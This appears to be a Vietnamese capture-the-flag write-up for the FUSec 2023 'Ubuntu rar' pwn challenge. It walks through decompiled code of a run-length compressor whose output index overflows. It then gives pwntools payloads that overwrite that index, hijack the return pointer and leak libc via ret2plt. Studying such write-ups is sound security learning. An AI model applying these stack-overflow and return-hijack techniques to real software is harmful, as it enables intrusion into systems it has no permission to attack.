🐥Ubuntu rar - FUSec 2023

Tôi nhận được vài thông tin sau về file:

ELF 64-bit
No canary và no pie

Tôi nghĩ khả năng cao là Buffer Overflow

Sau khi chạy chương trình tôi thấy chương trình sẽ zip các số trùng nhau và liền kề nhau lại và đưa ra kích thước + vài thông tin đằng sau khác.

Ví dụ như đây

Analysis

main()

int main(int argc, const char **argv, const char **envp)
{
  char s[240]; // [rsp+0h] [rbp-F0h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(s, 0, sizeof(s));
  printf("Data: ");
  read(0, s, 240uLL);
  puts("Compressed data:");
  compress_buffer(s);
  return 0;
}

compress_buffer()

unsigned __int64 compress_buffer(char *buffer)
{
  int idx; // eax
  _BYTE output[248]; // [rsp+10h] [rbp-100h] BYREF
  unsigned int o; // [rsp+108h] [rbp-8h]
  unsigned int i; // [rsp+10Ch] [rbp-4h]

  i = 0;
  o = 0;
  while ( i <= 239 )
  {
    idx = compress_single_byte(&buffer[i], &output[o], 0xF0 - i);
    i += idx;
    o += 2;
  }
  return hex_dump(output, o);
}

compress_single_byte()

__int64 compress_single_byte(char *s, _BYTE *output, unsigned int n)
{
  unsigned int idx; // [rsp+20h] [rbp-4h]

  idx = 1;
  *output = *s;
  do
  {
    if ( s[idx] != *s )
      break;
    ++idx;
  }
  while ( idx < n );
  output[1] = idx;
  return idx;
}

hex_dump()

unsigned __int64 hex_dump(char *output, unsigned __int64 o)
{
  unsigned __int64 result; // rax
  char v3[32]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 j; // [rsp+30h] [rbp-10h]
  unsigned __int64 i; // [rsp+38h] [rbp-8h]

  v3[16] = 0;
  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= o )
      break;
    printf("%02X ", output[i]);
    if ( output[i] <= 0x1Fu || output[i] > '~' )
      v3[i & 0xF] = '.';
    else
      v3[i & 0xF] = output[i];
    if ( ((i + 1) & 7) == 0 || o == i + 1 )
    {
      putchar(' ');
      if ( ((i + 1) & 0xF) != 0 )
      {
        if ( o != i + 1 )
          continue;
        v3[(i + 1) & 0xF] = 0;
        if ( ((i + 1) & 0xFu) <= 8uLL )
          putchar(' ');
        for ( j = (i + 1) & 0xF; j <= 15; ++j )
          printf("   ");
      }
      printf("|  %s \n", v3);
    }
  }
  return result;
}

Chương trình còn 1 hàm to_byte() nữa nhưng sau khi đọc hết chương trình tôi thấy nó là hàm trơ :v

Nhìn vào thằng oở đây, chắc hẳn bạn cũng nhìn ra là nó bị overflow rồi :>>

Để mà o += 2 thì bạn phải hoàn thành việc thực thi hàm compress_single_byte . Overview tiếp hàm compress_single_byte . Thì bạn có thể thấy hàm này xử lí các kí tự trùng lặp, nó kết thúc khi gặp kí tự khác với kí tự liền trước và return về kích thước của chuỗi lặp đó.

Vậy nếu pây giờ tôi nhập như này "abababababab" thì sao?

Rõ ràng là tôi nhập vào 13 kí tự nhưng nhận tới 27 kí tự ==> phần output[o] đã xảy ra overflow nếu tôi nhập "ab"*120.

Exploit

Setup payload:

from pwn import *
elf = context.binary = ELF("./chall_patched")
r = elf.process()
libc = ELF("./libc-2.31.so")
# r = remote("34.87.29.214", 5002)

gdb.attach(r, '''
    b* main + 172\n
    b* hex_dump + 383 \n
    b* compress_buffer + 78\n
    b* main\n
    c
''')

payload = b"ab" * 120
r.send(payload)
r.interactive()

Phần khoanh đỏ: Địa chỉ của output

Phần khoanh vàng: Địa chỉ của buffer

2 phần khoanh xanh: địa chỉ return pointer

Tiến hành ghi đè:

Kết quả:

Nhìn trên kia bạn có thể hình dung đó giống như 1 câu lệnh hex $rsp.Thì có thể thấy phần output của tôi đã bị ngắt quãng, và nó đã tiến hành ghi đè tiếp xuống dưới vào phần buffer ban đầu.

Vậy điều gì đã xảy ra?

Sau khi để ý kĩ hơn thì tôi thấy thằng o đã bị ghi đè ---> sự thay đổi index ---> ghi đè không đúng ý muốn. Đó là lí do nó nhảy xuống dưới phần buffer và ghi đè tiếp.

Chỉnh 1 xíu ở payload:

puts_plt = 0x00000000004010a0
puts_got = 0x0000000000404020 
main = 0x000000000040147c
payload = p64(puts_got) + p64(puts_plt) + p64(main)
# 24 bytes -->  22 bytes
payload += b"aabb"*33 + b"eefg"*15 + b"ab"
# 194 bytes --> 226 bytes
payload += b"\x06" + b"\xb3" * 0x15
# 22 bytes
r.send(payload)
r.interactive()

Chưa cần quan tâm 5 dòng đầu, hãy nhìn từ dòng thứ 6. Tôi đã chỉnh kích thước của payload này sao cho: dài 240 bytes buffer và dài 248 bytes output.

bytes thứ 249 chính là bytes ghi đè biến o, và tôi sẽ ghi đè nó thành index của ret pointer để ghi đè nên nó.

stack trước khi ghi đè o
stack sau khi ghi đè o

Biến o bây giờ có giá trị là hex 0x106 == vị trí của <main+204>

Bây giờ tôi có thể return về một chỗ tùy ý. Do trên file elf có gadget quan trọng như pop rdi nhưng không các hàm system, sh nên tôi sẽ phải dùng kĩ thuật ret2plt mục đích để leak libc address sau đó dùng nó để khai thác.

Đây là thứ bạn cần

Xử lí byte leak và rồi hãy làm tiếp tương tự như trên sau khi return về main 1 lần nữa.

Oke
Done

QUOTE: Khi làm bài overflow, thì phải biết được là nó overflow chứ đừng cắm đầu vào over - Sifu

Last updated